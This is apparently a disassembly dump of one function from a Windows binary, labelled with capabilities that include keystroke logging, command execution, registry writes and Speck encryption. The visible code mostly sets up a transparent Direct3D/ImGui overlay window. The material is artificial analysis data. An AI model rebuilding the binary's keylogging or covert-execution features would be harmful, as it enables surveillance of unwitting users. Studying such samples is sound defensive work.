Function at 0x14004ca10
Capabilities:
Check for time delay via gettickcount
Create thread
Encode data using xor
Encrypt data using speck
Execute command
Get session user name
Log keystrokes via polling
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0x590]
sub rsp, 0x690
mov rax, qword [0x1401780c0]
xor rax, rsp
mov qword [rbp + 0x4e8], rax
xor r12d, r12d
lea rax, [0x140199028]
cmp qword [0x140199040], 0xf
lea rcx, [0x140198d80]
mov qword [0x140199038], r12
mov r13d, r12d
cmova rax, qword [0x140199028]
mov dword [rbp + 0x14], r12d
mov byte [rax], r12b
lea rax, [0x140198d00]
cmp qword [0x140198d18], 0xf
mov qword [0x140198d10], r12
cmova rax, qword [0x140198d00]
mov byte [rax], r12b
lea rax, [0x140199068]
cmp qword [0x140199080], 0xf
mov qword [0x140199078], r12
cmova rax, qword [0x140199068]
mov byte [rax], r12b
lea rax, [0x140198c50]
cmp qword [0x140198c68], 0xf
mov qword [0x140198c60], r12
cmova rax, qword [0x140198c50]
mov byte [rax], r12b
lea rax, [0x140198d40]
cmp qword [0x140198d58], 0xf
mov qword [0x140198d50], r12
cmova rax, qword [0x140198d40]
mov byte [rax], r12b
call fcn.1400cfb20
call fcn.140053440
lea rax, [0x140053300]
mov dword [rbp + 0x220], 0x50
xor ecx, ecx
mov qword [rbp + 0x228], rax
mov dword [rbp + 0x224], 0x40
mov qword [rbp + 0x230], r12
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xorps xmm0, xmm0
mov qword [rbp + 0x268], r12
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x240], xmm0
lea rdi, str.VIDM
movdqu xmmword [rbp + 0x250], xmm1
lea rcx, [rbp + 0x220]
mov qword [rbp + 0x238], rax
mov qword [rbp + 0x260], rdi
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov r14d, 1
mov ecx, r14d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0xe1]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r12
mov r9d, 0x80000000
mov qword [rsp + 0x50], r12
cdq
mov qword [rsp + 0x48], r12
sub eax, edx
mov rdx, qword [rbp + 0x260]
mov r8, rdi
mov qword [rsp + 0x40], r12
xor ecx, ecx
mov dword [rsp + 0x38], 0x1c2
sar eax, 1
sub eax, 0x145
mov dword [rsp + 0x30], 0x28a
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov edx, 0xffffffec
mov r8d, 0x40000
mov rcx, rax
mov qword [0x140198ac0], rax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov r9d, 2
mov r8b, 0xff
mov rcx, qword [0x140198ac0]
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x14015f6a0]
lea rdx, [rbp + 0x4a8]
mov rcx, qword [0x140198ac0]
movdqu xmmword [rbp + 0x4a8], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rdi, qword [0x140198ac0]
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x14004ccd0
lea rdx, str.SetWindowCompositionAttribute
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14004ccaa
movdqa xmm0, xmmword [reloc.WS2_32.dll_closesocket]
lea rcx, [rbp + 0x470]
mov qword [rbp + 0x160], rcx
lea rdx, [rbp + 0x158]
mov rcx, rdi
mov dword [rbp + 0x158], reloc.WS2_32.dll_send
movdqu xmmword [rbp + 0x470], xmm0
mov dword [rbp + 0x168], reloc.WS2_32.dll_recv
call rax
jmp 0x14004ccc7
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Error
lea rdx, str.SetWindowCompositionAttribute_function_not_found.
mov rcx, rdi
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [0x140198ac0]
lea rdx, [0x140198ac8]
xorps xmm0, xmm0
movups xmmword [0x140198ac8], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rax, qword [0x140198ac0]
lea rbx, [0x140199128]
mov qword [rsp + 0x58], rbx
lea rdi, [0x1401990e8]
mov qword [rbp + 0x1b0], rax
lea rsi, [0x1401990d8]
lea rax, [rbp + 0x2a0]
mov qword [rbp + 0x194], r12
mov qword [rsp + 0x50], rax
xor r9d, r9d
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x180]
mov qword [rsp + 0x40], rsi
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov edx, r14d
mov dword [rsp + 0x30], 7
lea rax, [rbp + 0x140]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x1a8], 2
mov qword [rbp + 0x1c0], 2
mov qword [rbp + 0x180], r12
mov dword [rbp + 0x190], Ordinal_33
mov dword [rbp + 0x188], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x18c], r14d
mov dword [rbp + 0x1a4], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x19c], r14
mov qword [rbp + 0x1b8], r14
mov dword [rbp + 0x140], 0xb000
mov dword [rbp + 0x144], 0xa000
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
cmp eax, 0x887a0004
jne 0x14004ce2d
mov qword [rsp + 0x58], rbx
lea rax, [rbp + 0x2a0]
mov qword [rsp + 0x50], rax
xor r9d, r9d
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x180]
mov qword [rsp + 0x40], rsi
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov edx, 5
mov dword [rsp + 0x30], 7
lea rax, [rbp + 0x140]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
jne 0x140052e29
mov rcx, qword [0x1401990d8]
lea r9, [rbp + 0x148]
mov qword [rsp + 0x6c0], r15
lea r8, [0x14015f288]
movaps xmmword [rsp + 0x680], xmm6
xor edx, edx
movaps xmmword [rsp + 0x670], xmm7
mov rax, qword [rcx]
movaps xmmword [rsp + 0x660], xmm8
movaps xmmword [rsp + 0x650], xmm9
movaps xmmword [rsp + 0x640], xmm10
movaps xmmword [rsp + 0x630], xmm11
movaps xmmword [rsp + 0x620], xmm12
movaps xmmword [rsp + 0x610], xmm13
movaps xmmword [rsp + 0x600], xmm14
movaps xmmword [rsp + 0x5f0], xmm15
call qword [rax + 0x48]
mov rcx, qword [0x1401990e8]
lea r9, [0x1401990d0]
mov rdx, qword [rbp + 0x148]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rbp + 0x148]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x140198ac0]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140198ac0]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov r14, qword [0x140198ab0]
test r14, r14
je 0x14004cf0f
inc dword [r14 + 0xf4]
mov rdx, qword [0x140198aa0]
mov ecx, 0x5e38
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
test rax, rax
je 0x14004cf31
xor edx, edx
mov rcx, rax
call fcn.140002000
jmp 0x14004cf34
mov rax, r12
mov qword [0x140198ab0], rax
call fcn.140005b10
test r14, r14
je 0x14004cf4e
mov qword [0x140198ab0], r14
jmp 0x14004cf55
mov r14, qword [0x140198ab0]
xor ecx, ecx
mov qword [r14 + 0x20], r12
call fcn.14001bde0
mov rsi, qword [0x140198ac0]
lea rcx, [rbp + 0x2a8]
mov rbx, qword [0x140198ab0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14004d0cd
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x14004d0cd
mov rax, qword [0x140198ab0]
test rax, rax
je 0x14004cfaa
inc dword [rax + 0xf4]
mov rdx, qword [0x140198aa0]
mov ecx, 0x48
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rdi, rax
test rax, rax
je 0x14004cfdd
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
mov qword [rdi + 0x40], rax
jmp 0x14004cfe0
mov rdi, r12
or dword [rbx + 0xc], 6
lea rax, [0x14015d758]
mov qword [rbx + 0x88], rax
mov qword [rbx + 0x98], rdi
mov rbx, r12
mov qword [rdi], rsi
mov rax, qword [rbp + 0x2a8]
mov qword [rdi + 0x20], rax
mov rax, qword [rbp + 0x2b0]
mov qword [rdi + 0x18], rax
mov rax, qword [0x140198ab0]
mov dword [rdi + 0x28], 9
mov rax, qword [rax + 0x48d0]
mov rcx, qword [rax]
lea rax, str.xinput1_4.dll
mov qword [rbp + 0x480], rax
lea rax, str.xinput1_3.dll
mov qword [rbp + 0x488], rax
lea rax, str.xinput9_1_0.dll
mov qword [rbp + 0x490], rax
lea rax, str.xinput1_2.dll
mov qword [rbp + 0x498], rax
lea rax, str.xinput1_1.dll
mov qword [rcx + 0x28], rsi
mov qword [rbp + 0x4a0], rax
mov byte [rdi + 0x2d], 1
nop dword [rax + rax]
mov rcx, qword [rbp + rbx*8 + 0x480]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x14004d0a1
inc rbx
cmp rbx, 5
jl 0x14004d080
jmp 0x14004d0cd
lea rdx, str.XInputGetCapabilities
mov qword [rdi + 0x30], rsi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.XInputGetState
mov rcx, rsi
mov qword [rdi + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x40], rax
mov rdi, qword [0x140198ab0]
mov r15, qword [0x140199128]
mov rsi, qword [0x1401990e8]
test rdi, rdi
je 0x14004d0ed
inc dword [rdi + 0xf4]
mov rdx, qword [0x140198aa0]
mov ecx, 0x78
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rbx, rax
test rax, rax
je 0x14004d134
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
mov dword [rax + 0x70], 0x1388
mov dword [rax + 0x74], 0x2710
jmp 0x14004d137
mov rbx, r12
or dword [rdi + 0xc], 8
lea rax, str.imgui_impl_dx11
mov qword [rdi + 0x90], rax
lea r8, [rbp + 0x140]
mov qword [rdi + 0xa0], rbx
lea rdx, [0x14015d728]
mov rax, qword [rsi]
mov rcx, rsi
mov qword [rbp + 0x140], r12
mov qword [rbp + 0x148], r12
mov qword [rbp + 0x150], r12
call qword [rax]
test eax, eax
jne 0x14004d1cf
mov rcx, qword [rbp + 0x140]
lea r8, [rbp + 0x148]
lea rdx, [0x14015d738]
mov rax, qword [rcx]
call qword [rax + Ordinal_50]
test eax, eax
jne 0x14004d1cf
mov rcx, qword [rbp + 0x148]
lea r8, [rbp + 0x150]
lea rdx, [0x14015d748]
mov rax, qword [rcx]
call qword [rax + Ordinal_50]
test eax, eax
jne 0x14004d1cf
mov qword [rbx], rsi
mov qword [rbx + 8], r15
mov rax, qword [rbp + 0x150]
mov qword [rbx + 0x10], rax
mov rcx, qword [rbp + 0x140]
test rcx, rcx
je 0x14004d1e1
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbp + 0x148]
test rcx, rcx
je 0x14004d1f3
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [r14 + 0x58]
lea rbx, str.OTTO
xorps xmm2, xmm2
lea rdx, [rbp + 0x300]
movups xmmword [rbp + 0x190], xmm2
xor eax, eax
mov r15d, 1
movups xmmword [rbp + 0x1d0], xmm2
mov qword [rbp + 0x200], rax
mov edi, 0xffff
movups xmmword [rbp + 0x180], xmm2
mov byte [rbp + 0x18c], 1
movups xmm0, xmmword [rbp + 0x180]
movups xmmword [rbp + 0x300], xmm0
movups xmmword [rbp + 0x1c0], xmm2
mov dword [rbp + 0x198], 3
mov dword [rbp + 0x19c], r15d
movups xmm1, xmmword [rbp + 0x190]
movups xmmword [rbp + 0x310], xmm1
mov dword [rbp + 0x1c4], 0x7f7fffff
movups xmm0, xmmword [rbp + 0x1c0]
movups xmmword [rbp + 0x340], xmm0
movsd xmm0, qword [rbp + 0x200]
mov dword [rbp + 0x1d0], 0x3f800000
mov word [rbp + 0x1d4], di
movups xmm1, xmmword [rbp + 0x1d0]
movsd qword [rbp + 0x380], xmm0
movups xmmword [rbp + 0x320], xmm2
movups xmmword [rbp + 0x330], xmm2
movups xmmword [rbp + 0x350], xmm1
movups xmmword [rbp + 0x360], xmm2
movups xmmword [rbp + 0x370], xmm2
mov qword [rbp + 0x300], rbx
mov dword [rbp + 0x308], 0x1b44c
mov dword [rbp + 0x314], 0x41880000
call fcn.1400214b0
mov rcx, qword [r14 + 0x58]
lea rdx, [rbp + 0x300]
xorps xmm2, xmm2
xor eax, eax
movups xmmword [rbp + 0x190], xmm2
mov qword [rbp + 0x200], rax
movups xmmword [rbp + 0x1d0], xmm2
mov dword [rbp + 0x198], 3
movups xmmword [rbp + 0x180], xmm2
mov byte [rbp + 0x18c], r15b
movups xmm0, xmmword [rbp + 0x180]
movups xmmword [rbp + 0x300], xmm0
movups xmmword [rbp + 0x1c0], xmm2
mov dword [rbp + 0x19c], r15d
movups xmm1, xmmword [rbp + 0x190]
movups xmmword [rbp + 0x310], xmm1
mov dword [rbp + 0x1c4], 0x7f7fffff
movups xmm0, xmmword [rbp + 0x1c0]
movups xmmword [rbp + 0x340], xmm0
movsd xmm0, qword [rbp + 0x200]
mov dword [rbp + 0x1d0], 0x3f800000
mov word [rbp + 0x1d4], di
movups xmm1, xmmword [rbp + 0x1d0]
movsd qword [rbp + 0x380], xmm0
movups xmmword [rbp + 0x320], xmm2
movups xmmword [rbp + 0x330], xmm2
movups xmmword [rbp + 0x350], xmm1
movups xmmword [rbp + 0x360], xmm2
movups xmmword [rbp + 0x370], xmm2
mov qword [rbp + 0x300], rbx
mov dword [rbp + 0x308], 0x1b44c
mov dword [rbp + 0x314], 0x41880000
call fcn.1400214b0
xorps xmm2, xmm2
mov qword [0x140198af0], rax
movups xmmword [rbp + 0x180], xmm2
xor eax, eax
movups xmmword [rbp + 0x190], xmm2
movups xmmword [rbp + 0x1c0], xmm2
mov rcx, qword [r14 + 0x58]
lea rdx, [rbp + 0x300]
movups xmmword [rbp + 0x1d0], xmm2
mov qword [rbp + 0x200], rax
mov byte [rbp + 0x18c], r15b
movups xmm0, xmmword [rbp + 0x180]
movups xmmword [rbp + 0x300], xmm0
mov dword [rbp + 0x198], 3
mov dword [rbp + 0x19c], r15d
movups xmm1, xmmword [rbp + 0x190]
movups xmmword [rbp + 0x310], xmm1
mov dword [rbp + 0x1c4], 0x7f7fffff
movups xmm0, xmmword [rbp + 0x1c0]
movups xmmword [rbp + 0x340], xmm0
movsd xmm0, qword [rbp + 0x200]
mov dword [rbp + 0x1d0], 0x3f800000
mov word [rbp + 0x1d4], di
movups xmm1, xmmword [rbp + 0x1d0]
movsd qword [rbp + 0x380], xmm0
movups xmmword [rbp + 0x320], xmm2
movups xmmword [rbp + 0x330], xmm2
movups xmmword [rbp + 0x350], xmm1
movups xmmword [rbp + 0x360], xmm2
movups xmmword [rbp + 0x370], xmm2
mov qword [rbp + 0x300], rbx
mov dword [rbp + 0x308], 0x1b44c
mov dword [rbp + 0x314], 0x41b00000
call fcn.1400214b0
mov rcx, qword [r14 + 0x58]
lea rdx, [rbp + 0x300]
xorps xmm2, xmm2
xor eax, eax
movups xmmword [rbp + 0x190], xmm2
mov qword [rbp + 0x200], rax
movups xmmword [rbp + 0x1d0], xmm2
mov dword [rbp + 0x198], 3
movups xmmword [rbp + 0x180], xmm2
mov byte [rbp + 0x18c], r15b
movups xmm0, xmmword [rbp + 0x180]
movups xmmword [rbp + 0x300], xmm0
movups xmmword [rbp + 0x1c0], xmm2
mov dword [rbp + 0x19c], r15d
movups xmm1, xmmword [rbp + 0x190]
movups xmmword [rbp + 0x310], xmm1
mov dword [rbp + 0x1c4], 0x7f7fffff
movups xmm0, xmmword [rbp + 0x1c0]
movups xmmword [rbp + 0x340], xmm0
movsd xmm0, qword [rbp + 0x200]
mov dword [rbp + 0x1d0], 0x3f800000
mov word [rbp + 0x1d4], di
movups xmm1, xmmword [rbp + 0x1d0]
movsd qword [rbp + 0x380], xmm0
movups xmmword [rbp + 0x320], xmm2
movups xmmword [rbp + 0x330], xmm2
movups xmmword [rbp + 0x350], xmm1
movups xmmword [rbp + 0x360], xmm2
movups xmmword [rbp + 0x370], xmm2
mov qword [rbp + 0x300], rbx
mov dword [rbp + 0x308], 0x1b44c
mov dword [rbp + 0x314], 0x41b00000
call fcn.1400214b0
xorps xmm2, xmm2
mov qword [0x140198ae0], rax
movups xmmword [rbp + 0x190], xmm2
mov dword [rbp + 0x198], 3
xor eax, eax
movups xmmword [rbp + 0x180], xmm2
mov byte [rbp + 0x18c], r15b
movups xmm0, xmmword [rbp + 0x180]
movups xmmword [rbp + 0x1d0], xmm2
mov dword [rbp + 0x19c], r15d
movups xmm1, xmmword [rbp + 0x190]
movups xmmword [rbp + 0x1c0], xmm2
mov qword [rbp + 0x200], rax
movups xmmword [rbp + 0x300], xmm0
movups xmmword [rbp + 0x310], xmm1
mov dword [rbp + 0x1c4], 0x7f7fffff
mov dword [rbp + 0x1d0], 0x3f800000
mov word [rbp + 0x1d4], di
movups xmmword [rbp + 0x320], xmm2
movups xmmword [rbp + 0x330], xmm2
movups xmm0, xmmword [rbp + 0x1c0]
lea rdx, [rbp + 0x300]
movups xmm1, xmmword [rbp + 0x1d0]
mov rcx, qword [r14 + 0x58]
movups xmmword [rbp + 0x340], xmm0
movsd xmm0, qword [rbp + 0x200]
movsd qword [rbp + 0x380], xmm0
movups xmmword [rbp + 0x350], xmm1
movups xmmword [rbp + 0x360], xmm2
movups xmmword [rbp + 0x370], xmm2
mov qword [rbp + 0x300], rbx
mov dword [rbp + 0x308], 0x1b44c
mov dword [rbp + 0x314], 0x41900000
call fcn.1400214b0
mov rcx, qword [0x1401990e8]
lea rax, [0x140198ae8]
xor esi, esi
lea rdx, [0x140178150]
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov r8d, 0x41e7
mov qword [rsp + 0x20], rsi
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x1401990e8]
lea rax, [0x140198af8]
mov qword [rsp + 0x30], rsi
lea rdx, [0x140197900]
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov r8d, 0x7d
mov qword [rsp + 0x20], rsi
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x1401990e8]
lea rax, [0x140198ad8]
mov qword [rsp + 0x30], rsi
lea rdx, [0x140197790]
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov r8d, 0x16c
mov qword [rsp + 0x20], rsi
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
movss xmm7, dword [0x14015fb30]
mov ebx, 0x41
movss xmm10, dword [0x14015f5cc]
movss xmm8, dword [0x14015f4d0]
movss xmm9, dword [0x14015f4e8]
mov dword [rbp + 0x140], esi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x44fc3a35
imul r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1db
sub r8d, ecx
movd xmm6, r8d
cvtdq2ps xmm6, xmm6
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
movss dword [rbp + 0x15c], xmm6
mov eax, 0x5d9f7391
imul r8d
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x2bc
sub r8d, ecx
movd xmm0, r8d
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x158], xmm0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsd xmm0, qword [rbp + 0x140]
mov r8d, eax
movss xmm6, dword [0x14015f51c]
mov eax, 0x66666667
imul r8d
shufps xmm0, xmm0, 0xe1
movss dword [rbp + 0x168], xmm6
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub r8d, ecx
movd xmm1, r8d
cvtdq2ps xmm1, xmm1
divss xmm1, xmm10
addss xmm1, xmm8
xorps xmm1, xmm7
movss xmm0, xmm1
shufps xmm0, xmm0, 0xe1
movsd qword [rbp + 0x140], xmm0
movsd qword [rbp + 0x160], xmm0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov dword [rbp + 0x170], 0x60ffffff
mov eax, 0x55555556
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
mov rdx, qword [0x1401990f8]
sub r8d, ecx
inc r8d
cmp rdx, qword [0x140199100]
movd xmm2, r8d
cvtdq2ps xmm2, xmm2
mulss xmm2, xmm9
movss dword [rbp + 0x16c], xmm2
je 0x14004d8cc
movups xmm0, xmmword [rbp + 0x158]
movaps xmm1, xmm6
movups xmmword [rdx], xmm0
unpcklps xmm1, xmm2
movsd qword [rdx + 0x10], xmm1
mov dword [rdx + 0x18], 0x60ffffff
add qword [0x1401990f8], 0x1c
jmp 0x14004d8d8
lea r8, [rbp + 0x158]
call fcn.140057df0
sub rbx, r15
jne 0x14004d781
movdqa xmm15, xmmword [0x14015f7a0]
movdqa xmm14, xmmword [0x14015f750]
movdqa xmm12, xmmword [0x14015f740]
movdqa xmm13, xmmword [0x14015f720]
movdqa xmm8, xmmword [str.5555]
movdqa xmm11, xmmword [0x14015fb10]
mov dword [rbp + 0x2a0], ebx
mov r14d, dword [reloc.WS2_32.dll_accept]
lea rcx, [rbp + 0x180]
xor r9d, r9d
mov edi, 4
xor r8d, r8d
mov dword [rsp + 0x20], r15d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x14004d9a4
nop word [rax + rax]
lea rcx, [rbp + 0x180]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x180]
call qword [sym.imp.USER32.dll_DispatchMessageW]
cmp dword [rbp + 0x188], 0x12
lea rcx, [rbp + 0x180]
movzx ebx, bl
cmove ebx, r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x14004d950
mov dword [rbp + 0x2a0], ebx
test bl, bl
jne 0x140052b96
cmp byte [0x1401990cc], 0
je 0x14004da19
mov rax, qword gs:[0x58]
mov edx, edi
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x140199240], eax
jle 0x14004d9f3
lea rcx, [0x140199240]
call fcn.140126f48
cmp dword [0x140199240], 0xffffffff
jne 0x14004d9f3
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [0x140199240]
mov dword [0x140199234], eax
call fcn.140126edc
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x140199234]
cmp eax, 0x5dc
jbe 0x14004da19
mov byte [0x1401990cc], 0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x140199234], eax
mov rax, qword [0x140198ab0]
test rax, rax
je 0x14004da2e
mov rcx, qword [rax + 0xa0]
jmp 0x14004da31
mov rcx, rsi
cmp qword [rcx + 0x48], 0
jne 0x14004da3d
call fcn.140028300
call fcn.140029130
call fcn.1400081b0
movss xmm0, dword [0x1401990c8]
comiss xmm0, dword [0x14015f608]
mov rax, qword [0x140198ab0]
movss xmm10, dword [rax + 0x18]
movss xmm6, dword [0x14015f564]
setae r12b
mulss xmm10, xmm6
mov byte [rbp], r12b
test r12b, r12b
je 0x14004da8f
movss xmm0, dword [0x140199108]
comiss xmm0, xmm6
jb 0x14004da8f
mov r15b, 1
jmp 0x14004da92
xor r15b, r15b
xor edx, edx
lea rcx, str.Main
mov r8d, 0xbb
call fcn.14000d670
mov rcx, qword [0x140198ab0]
lea rdx, [rbp + 0x58]
xor r8d, r8d
mov dword [rbp + 0x58], 0x44228000
mov dword [rbp + 0x5c], 0x43e10000
mov rcx, qword [rcx + 0x3ef0]
call fcn.1400106a0
mov rcx, qword [0x140198ac0]
lea rdx, [0x140198ac8]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rdi, qword [0x140198ab0]
xorps xmm7, xmm7
mov rax, qword [rdi + 0x3ef0]
movss xmm2, dword [rax + 0x20]
ucomiss xmm2, xmm7
jp 0x14004db0b
jne 0x14004db0b
movss xmm0, dword [rax + 0x24]
ucomiss xmm0, xmm7
jp 0x14004db0b
je 0x14004db78
movd xmm0, dword [0x140198acc]
mov r9d, 0x28a
movd xmm1, dword [0x140198ac8]
mov rcx, qword [0x140198ac0]
cvtdq2ps xmm0, xmm0
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x1c2
cvtdq2ps xmm1, xmm1
addss xmm0, dword [rax + 0x24]
addss xmm1, xmm2
cvttss2si r8d, xmm0
cvttss2si edx, xmm1
call qword [sym.imp.USER32.dll_MoveWindow]
mov rdi, qword [0x140198ab0]
lea rdx, [rbp + 0x60]
xor r8d, r8d
mov qword [rbp + 0x60], 0
mov rcx, qword [rdi + 0x3ef0]
call fcn.140010530
mov rax, qword [rdi + 0x3ef0]
lea rcx, [rdi + 0x4850]
movss xmm0, dword [0x1401990e0]
lea rdx, [rbp + 0x11c]
mov dword [rbp + 0x11c], esi
mov byte [rax + 0xb8], 1
mov rax, qword [rdi + 0x3ef0]
movss dword [rdi + 0x37f0], xmm0
movss dword [rdi + 0x37f4], xmm0
mov byte [rax + 0xb8], 1
mov rax, qword [rdi + 0x3ef0]
movss xmm0, dword [rdi + 0x37f0]
movss dword [rbp + 0x120], xmm0
mov rbx, qword [rax + 0x298]
call fcn.14001a260
mov rax, qword [0x140198ab0]
lea rcx, [rbp + 0xa8]
mov dword [rdi + 0x37f0], 0x3f800000
movss xmm1, dword [0x140198b54]
movss xmm0, dword [0x140198b50]
movss dword [rbp + 0xac], xmm1
movss xmm1, dword [0x140198b5c]
mulss xmm1, dword [rax + 0x37f0]
movss dword [rbp + 0xa8], xmm0
movss xmm0, dword [0x140198b58]
movss dword [rbp + 0xb4], xmm1
movss dword [rbp + 0xb0], xmm0
call fcn.140004130
mov r9d, eax
mov dword [rsp + 0x28], esi
lea rdx, [rbp + 0x70]
movss dword [rsp + 0x20], xmm6
lea r8, [rbp + 0x68]
mov dword [rbp + 0x68], 0x44220000
mov rcx, rbx
mov dword [rbp + 0x6c], 0x43e10000
mov qword [rbp + 0x70], 0x40000000
call fcn.14001f190
mov ecx, 1
call fcn.1400043d0
mov qword [rdi + 0x381c], 0
movabs r10, 0x4924924924924925
mov qword [rdi + 0x3800], 0
mov rax, r10
mov qword [rdi + 0x3834], 0x40400000
mov qword [rdi + 0x37f8], 0
mov edi, esi
mov r9, qword [0x1401990f8]
mov r8, qword [0x1401990f0]
mov rcx, r9
sub rcx, r8
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
je 0x14004dda9
mov rbx, rsi
nop
movss xmm0, dword [rbx + r8 + 0xc]
mulss xmm0, dword [0x14015f4b4]
mulss xmm0, dword [0x14015f5bc]
addss xmm0, dword [rbx + r8 + 4]
movss dword [rbx + r8 + 4], xmm0
mov r8, qword [0x1401990f0]
comiss xmm7, dword [rbx + r8 + 4]
jbe 0x14004dd76
mov dword [rbx + r8 + 4], 0x43ed8000
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
movabs r10, 0x4924924924924925
mov eax, 0x5d9f7391
imul r8d
mov rax, qword [0x1401990f0]
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x2bc
sub r8d, ecx
movd xmm0, r8d
cvtdq2ps xmm0, xmm0
movss dword [rbx + rax], xmm0
mov r8, qword [0x1401990f0]
mov r9, qword [0x1401990f8]
inc edi
mov rcx, r9
mov rax, r10
sub rcx, r8
add rbx, 0x1c
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
movsxd rax, edi
cmp rax, rdx
jb 0x14004dcf0
sub r9, r8
mov rax, r10
imul r9
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
je 0x14004de9a
xor eax, eax
mov r8d, eax
mov edi, eax
nop dword [rax]
mov rcx, qword [0x140198ab0]
imul rdx, r8, 0x1c
